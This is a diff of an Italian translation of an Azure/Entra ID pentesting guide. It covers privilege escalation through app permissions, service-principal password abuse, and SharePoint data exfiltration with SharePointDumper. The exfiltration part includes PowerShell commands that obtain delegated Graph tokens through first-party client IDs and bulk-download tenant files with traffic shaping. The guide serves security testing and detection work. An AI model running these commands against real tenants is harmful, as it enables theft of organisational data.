+934,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalate to Global Admin** concedendosi quel ruolo.\ -> Per maggiori informazioni [**vedi**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalare a Global Admin** assegnandosi il ruolo.\ +> Per maggiori informazioni [**consulta questo**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Una stringa segreta che l'application usa per dimostrare la sua identità quando richiede un token è la application **password**.\ -> Quindi, se trovi questa **password** puoi accedere come il **service principal** **inside** il **tenant**.\ -> Nota che questa password è visibile solo al momento della generazione (puoi cambiarla ma non puoi ottenerla di nuovo).\ -> Il **owner** della **application** può **add a password** ad essa (quindi può impersonarla).\ -> I login come questi service principals sono **not marked as risky** e **won't have MFA.** +> Una stringa segreta che l'applicazione usa per provare la propria identità quando richiede un token è la password dell'applicazione.\ +> Quindi, se trovi questa **password** puoi accedere come **service principal** **all'interno** del **tenant**.\ +> Nota che questa password è visibile solo quando viene generata (puoi cambiarla ma non puoi recuperarla di nuovo).\ +> Il **proprietario** dell'**applicazione** può **aggiungere una password** ad essa (quindi può impersonarla).\ +> Gli accessi effettuati da questi **service principals** non sono **contrassegnati come rischiosi** e non avranno **MFA.** -It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +È possibile trovare una lista di App ID comunemente usati che appartengono a Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities -For more information about Managed Identities check: +Per maggiori informazioni sulle Managed Identities consulta: {{#ref}} ../az-basic-information/ @@ -927,7 +966,7 @@ az identity list --output table ### Ruoli di Azure -Per maggiori informazioni sui ruoli di Azure consulta: +Per ulteriori informazioni sui ruoli di Azure, consulta: {{#ref}} ../az-basic-information/ @@ -1014,7 +1053,7 @@ Headers = @{ ### Ruoli di Entra ID -Per maggiori informazioni sui ruoli di Azure consulta: +Per ulteriori informazioni sui ruoli di Azure, consulta: {{#ref}} ../az-basic-information/ @@ -1135,8 +1174,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Se un dispositivo (VM) è **AzureAD joined**, gli utenti di AzureAD potranno **effettuare il login**.\ -> Inoltre, se l'utente connesso è **Owner** del dispositivo, sarà **amministratore locale**. +> Se un dispositivo (VM) è **AzureAD joined**, gli utenti di AzureAD saranno **in grado di effettuare il login**.\ +> Inoltre, se l'utente loggato è **Owner** del dispositivo, sarà **amministratore locale**. ### Unità amministrative @@ -1175,14 +1214,14 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) +## Esfiltrazione di dati SharePoint delegata tramite Microsoft Graph (SharePointDumper) -Gli attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **estrarre i contenuti dei file** tramite **SharePoint pre-authentication download URLs** (URL a tempo che incorporano un access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e fornisce telemetria per richiesta per i test di rilevamento. +Gli attaccanti in possesso di un **token Microsoft Graph delegato** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **scaricare i contenuti dei file** tramite **SharePoint pre-authentication download URLs** (URL a tempo limitato che incorporano un access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) ed emette telemetria per richiesta utile per i test di rilevamento. -### Obtaining usable delegated tokens +### Ottenere token delegati utilizzabili -- SharePointDumper di per sé **non esegue l'autenticazione**; fornisci un access token (opzionalmente refresh token). -- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempio di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): +- SharePointDumper stesso **non si autentica**; fornisci un access token (opzionalmente un refresh token). +- Client di **first-party** già pre-consentiti possono essere abusati per generare un token Graph senza registrare un'app. Esempio di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): ```powershell # CAE requested by default; yields long-lived (~24h) access token Import-Module ./EntraTokenAid/EntraTokenAid.psm1 @@ -1195,11 +1234,11 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) ``` > [!NOTE] -> I client FOCI TRUE supportano il refresh tra dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine della reply URL. +> I client FOCI TRUE supportano il refresh su più dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine del reply URL. -### Eseguire SharePointDumper per enumeration + exfiltration +### Esecuzione di SharePointDumper per enumeration + exfiltration -- Dump di base con custom UA / proxy / throttling: +- Dump di base con UA personalizzato / proxy / throttling: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' ``` @@ -1207,20 +1246,20 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 ``` -- **Riprendi** esecuzioni interrotte (rienumera ma salta gli elementi già scaricati): +- **Riprendi** esecuzioni interrotte (riesegue l'enumerazione ma salta gli elementi già scaricati): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant ``` -- **Aggiornamento automatico del token su HTTP 401** (richiede che EntraTokenAid sia caricato): +- **Aggiornamento automatico del token su HTTP 401** (richiede EntraTokenAid caricato): ```powershell Import-Module ./EntraTokenAid/EntraTokenAid.psm1 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' ``` Note operative: -- Preferisce token **CAE-enabled** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento. -- Genera log di richieste **CSV/JSON** per **Graph + SharePoint** e oscura per default i token di download embedded di SharePoint (configurabile). -- Supporta **User-Agent** personalizzato, **HTTP proxy**, **per-request delay + jitter**, e spegnimento sicuro con **Ctrl+C** per shaping del traffico durante test di detection/IR. +- Preferisce token **CAE-enabled** per evitare scadenze a metà esecuzione; i tentativi di refresh non vengono registrati nel log API dello strumento. +- Genera log di richieste **CSV/JSON** per **Graph + SharePoint** e oscura per impostazione predefinita i token di download embedded di SharePoint (attivabile). +- Supporta **custom User-Agent**, **HTTP proxy**, **ritardo per richiesta + jitter**, e **spegnimento sicuro con Ctrl+C** per modellare il traffico durante test di rilevamento/IR. ## Entra ID Privilege Escalation @@ -1234,16 +1273,16 @@ Note operative: ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Meccanismi di difesa +## Meccanismi difensivi ### Privileged Identity Management (PIM) -Privileged Identity Management (PIM) in Azure aiuta a **impedire che vengano assegnati privilegi eccessivi** agli utenti inutilmente. +Privileged Identity Management (PIM) in Azure aiuta a **prevenire l'assegnazione di privilegi eccessivi** agli utenti. -Una delle funzionalità principali offerte da PIM è che permette di non assegnare ruoli a principal che rimangono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo per cui necessita del privilegio (es. 3 ore). Poi un **admin deve approvare** la richiesta. -Nota che l'utente potrà anche chiedere di **estendere** la durata. +Una delle funzionalità principali offerte da PIM è che permette di non assegnare ruoli a principal costantemente attivi, bensì renderli **eligibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo necessario per il privilegio (es. 3 ore). Quindi un **admin deve approvare** la richiesta.\ +Nota che l'utente può anche richiedere di **estendere** il tempo. -Inoltre, **PIM invia email** ogni volta che viene assegnato un ruolo privilegiato a qualcuno. +Inoltre, **PIM invia email** ogni volta che un ruolo privilegiato viene assegnato a qualcuno.
@@ -1252,11 +1291,11 @@ Quando PIM è abilitato è possibile configurare ogni ruolo con requisiti come: - Durata massima (ore) dell'attivazione - Richiedere MFA all'attivazione - Richiedere il contesto di autenticazione di Conditional Access -- Richiedere una giustificazione all'attivazione +- Richiedere giustificazione all'attivazione - Richiedere informazioni sul ticket all'attivazione - Richiedere approvazione per attivare - Tempo massimo per la scadenza delle assegnazioni eleggibili -- Molte altre configurazioni su quando e a chi inviare notifiche quando certe azioni avvengono su quel ruolo +- Molte altre configurazioni su quando e a chi inviare notifiche quando avvengono determinate azioni relative a quel ruolo ### Conditional Access Policies @@ -1268,21 +1307,21 @@ Check: ### Entra Identity Protection -Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un sign-in sono troppo rischiosi** per essere accettati, consentendo di **bloccare** l'utente o il tentativo di accesso. +Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un sign-in sono troppo rischiosi** per essere accettati, consentendo di **bloccare** l'utente o il tentativo di sign-in. -Permette all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**: +Permette all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, per impostazione predefinita è completamente **disabilitato**:
> [!TIP] -> Oggi è consigliato aggiungere queste restrizioni tramite le Conditional Access policies dove è possibile configurare le stesse opzioni. +> Oggi si raccomanda di aggiungere queste restrizioni tramite Conditional Access policies, dove è possibile configurare le stesse opzioni. ### Entra Password Protection -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**. -Permette inoltre di **bandire una lista personalizzata di password** che devi fornire. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando avvengono diversi tentativi di login non riusciti**.\ +Consente inoltre di **vietare una lista personalizzata di password** che bisogna fornire. -Può essere **applicato sia** a livello cloud che su Active Directory on-premises. +Può essere **applicato sia** a livello cloud che in Active Directory on-premises. La modalità predefinita è **Audit**: